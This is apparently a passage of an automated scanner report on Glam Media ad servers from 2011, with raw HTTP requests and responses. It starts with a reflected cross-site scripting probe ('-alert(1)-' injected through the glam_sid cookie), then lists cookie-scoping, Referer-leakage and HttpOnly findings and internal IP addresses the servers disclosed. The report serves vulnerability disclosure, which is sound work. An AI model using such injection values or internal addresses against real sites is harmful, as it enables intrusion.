GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,300x250:1;uv=10;;tt=j;u=b0021fawbst1ssbzd4i,f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=11523213055102331211155a4c'-alert(1)-'d2b57a87d11; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000042623
X-Glam-Euid: 3b525c615fbe6201c14fd71ad257c196
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:02:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:02:12 GMT
Content-Length: 3800
Connection: close



...[SNIP]...
teInfo ) {
window.GlamGetAffiliateInfo = function(pName) {
var glam_info = new Object();
var glam_affiliate_vars = 'js_mode=show;_ge_=3^2^3b525c615fbe6201c14fd71ad257c196;sid=11523213055102331211155a4c'-alert(1)-'d2b57a87d11;browser=None;co=US;dma=511;;;;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;atf=0;
...[SNIP]...

4. Cookie scoped to parent domain  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www22.glam.com
Path:   /cTagsImgCmd.act

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

Request

GET /cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771 HTTP/1.1
Host: www22.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
Content-Length: 153
Content-Type: text/html
Location: http://www35t.glam.com/jsadimp.gif?1^0^a933bb3529ca1ea252e336d1da945607^115232130551023312111^1^446224^/^1x1^5000000440^31230390^-1^-1^-1^-1^0^0^87313079629718721^p^^0^^US^511^0^0^0^WASHINGTON^0^0^0^0^^qcsegs-D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771
Set-Cookie: qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771; expires=Wed, 15 Jun 2011 11:02:51 GMT; path=/; domain=.glam.com;
ETag: "662c9bddfc82c61ba8066514fc2b172e:1276888104"
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Cache-Control: max-age=897
Date: Mon, 13 Jun 2011 11:02:51 GMT
Connection: close
Vary: Accept-Encoding

<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
</HEAD>
<BODY>
An error (302 Moved Temporarily) has occured in response to this request.
</BODY>
</HTML>

5. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The page was loaded from a URL containing a query string:The response contains the following link to another domain:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=1000212071&adSize=300x250 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
X-Powered-By: PHP/5.1.6
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Mon, 13 Jun 2011 11:02:02 GMT
Content-Length: 60018
Connection: close


// <!-- [gnetGeneratedTime]=[Fri Mar 25 2011 12:14:16 PDT] -->
// <!-- [gnetCachedTime]=[Mon Jun 13 2011 3:55:41 PDT] -->


window.glam_session = new Object();
window.glam_session.countr
...[SNIP]...
lam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_session.user_agent_type='2';


document.write('<img style="display:none;" src="http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=70892130796292249099;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs" height="0" width="0" border="0">');


function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '1000212071';
window.glam_zone = '';
window.glam_ad_size = '300x250';
window.glam_status = '';
window.glam_status = (w
...[SNIP]...

6. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www22.glam.com
Path:   /cTagsImgCmd.act

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771 HTTP/1.1
Host: www22.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache
Content-Length: 153
Content-Type: text/html
Location: http://www35t.glam.com/jsadimp.gif?1^0^a933bb3529ca1ea252e336d1da945607^115232130551023312111^1^446224^/^1x1^5000000440^31230390^-1^-1^-1^-1^0^0^87313079629718721^p^^0^^US^511^0^0^0^WASHINGTON^0^0^0^0^^qcsegs-D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771
Set-Cookie: qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771; expires=Wed, 15 Jun 2011 11:02:51 GMT; path=/; domain=.glam.com;
ETag: "662c9bddfc82c61ba8066514fc2b172e:1276888104"
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Cache-Control: max-age=897
Date: Mon, 13 Jun 2011 11:02:51 GMT
Connection: close
Vary: Accept-Encoding

<HTML>
<HEAD>
<TITLE>Error Page</TITLE>
</HEAD>
<BODY>
An error (302 Moved Temporarily) has occured in response to this request.
</BODY>
</HTML>

7. Private IP addresses disclosed  previous  next
There are 9 instances of this issue:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.


7.1. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,160x600:1;uv=10;;tt=j;u=b0011468bes1sscjtvi,f0f02sa,g10001s;sz=160x600,120x600;tile=1;ord=6583043232094496;;afid=1000212071;dsid=864279;url=002479;seq=1;ux=f-f02sa,tid-1,pid-468bes1sscjtvi,aid-1,g-64,1,;_glt=300:1:6:14:17:431:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://fansided.com/category/nba/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000036879
X-Glam-Euid: 701ae041616bed1e532882927ec42ed0
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:14:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:14:18 GMT
Content-Length: 5187
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp63/172.30.0.68] for [www30a2.glam.com] at [Mon Jun 13 2011 4:14:18 PDT] */


document.write('<!-- 888x11 Default -->
...[SNIP]...

7.2. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;uv=10;;tt=j;u=b0032y5ic8r1sscit6r,f0f02sa,g10001s;sz=728x90;tile=2;ord=2206037009600550;;afid=1000212071;dsid=864279;url=19ug13;seq=1;ux=f-f02sa,tid-2,pid-y5ic8r1sscit6r,aid-3,g-64,1,;_glt=300:1:6:13:55:402:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/z-the-fort-worth-four/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000044847
X-Glam-Euid: 72ae7c970a4e7f718295179443953301
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:13:55 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:13:55 GMT
Content-Length: 3388
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp52/172.30.0.57] for [www30a2.glam.com] at [Mon Jun 13 2011 4:13:55 PDT] */


document.write('<SCRIPT language=\'JavaScript1.1\' SRC=\"http://ad.doubleclick.net/adj/N6294.149112.GLAMMEDIA.COM/B5303021.4;sz=728x90;cli
...[SNIP]...

7.3. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,300x250:1;uv=10;;tt=j;u=b0021fawbst1ssbzd4i,f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000042623
X-Glam-Euid: a298fe713aedd0d6f764b756be34a6a0
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:02:03 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:02:03 GMT
Content-Length: 3710
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp38/172.30.0.43] for [www30a2.glam.com] at [Mon Jun 13 2011 4:02:03 PDT] */


document.write(' <img src=\"http://amch.questionmarket.com/adsc/d724925/2/725047/adscout.php?ord=4df5ee2bcc2b2\" height=\"0\" width=\"0\"
...[SNIP]...

7.4. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,160x600:1;uv=10;;tt=j;u=b0011g2reou1ssci1k9,f0f02sa,g10001s;sz=160x600,120x600;tile=1;ord=4654773336369544;;afid=1000212071;dsid=864279;url=00l3it;seq=1;ux=f-f02sa,tid-1,pid-g2reou1ssci1k9,aid-1,g-64,1,;_glt=300:1:6:13:13:573:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/aboutcontact-us/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000036879
X-Glam-Euid: 09bdd73895bd3803918767154e79d853
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:13:14 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:13:14 GMT
Content-Length: 5753
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp105/172.30.0.110] for [www30a2.glam.com] at [Mon Jun 13 2011 4:13:14 PDT] */
var glam_urldata_set='http://glam.grapeshot.co.uk/main/redirect.cgi?url=' +
encodeURIComponent(window.location) +

...[SNIP]...

7.5. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;uv=10;;tt=j;u=b0033fawbst1ssbzd4i,f0f02sa,g10001s;sz=728x90;tile=3;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-3,pid-fawbst1ssbzd4i,aid-3,g-64,1,;_glt=300:1:6:3:12:38:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1; qcsegs=D,T,5150,3726,2951,2705,2698,2695,2693,2692,2690,1771

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000042624
X-Glam-Euid: adf7d753c2cad14637ca99c7d3d008a2
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:03:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:03:12 GMT
Content-Length: 3567
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp61/172.30.0.66] for [www30a2.glam.com] at [Mon Jun 13 2011 4:03:12 PDT] */


document.write('<script type=\"text/javascript\" src=\"http://altfarm.mediaplex.com/ad/js/17038-128465-20406-11?mpt=4df5ee708d29c&mpvc=htt
...[SNIP]...

7.6. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;pt=sk;gsz=888x11:999,300x250:1;uv=10;;tt=j;u=b0021fawbst1ssbzd4i,f0f02sa,g10001s;sz=300x250;tile=1;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-1,pid-fawbst1ssbzd4i,aid-2,g-64,1,;_glt=300:1:6:2:1:979:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=115232130551023312111; ctags=%3bct%3dpacsun%3bct%3dxboxk3905; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d398cadfb255eaeb5658516ed12d9db3:1307759730"
X-Glam-Bdata: XGlamBData,nbt,ls,rs
X-Glam-AdId: 5000033376
X-Glam-Euid: e8987e6404708b1b0e8fa3e755c88e0e
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Mon, 13 Jun 2011 11:10:01 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 13 Jun 2011 11:10:01 GMT
Content-Length: 7369
Connection: close



...[SNIP]...
'511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp104/172.30.0.109] for [www30a2.glam.com] at [Mon Jun 13 2011 4:10:01 PDT] */


document.write('<!-- 888x11 Default -->
...[SNIP]...

7.7. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=64;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=nae;!c=s;!c=sf;al=walmartdv;ec=tsp;ia=mf;jpbrash=admax;pec=sp;psh=y;rmt=exp;vec=sp;vpec=sp;ct=pacsun;ct=xboxk3905;qc=D;qc=T;qc=5150;qc=3726;qc=2951;qc=2705;qc=2698;qc=2695;qc=2693;qc=2692;qc=2690;qc=1771;atf=0;pfl=3;dt=s;!c=hagl;!c=hagn;pt=0;afid=1000212071;dsid=864279;uv=10;;tt=j;u=b0012fawbst1ssbzd4i,f0f02sa,g10001s;sz=160x600,120x600;tile=2;ord=4876240110024810;;afid=1000212071;dsid=864279;url=txanco;seq=1;ux=f-f02sa,tid-2,pid-fawbst1ssbzd4i,aid-1,g-64,1,;_glt=300:1:6:2:53:580:2011:6:13;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://sportdfw.com/2011/06/13/10-observations-dallas-mavs-finals/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
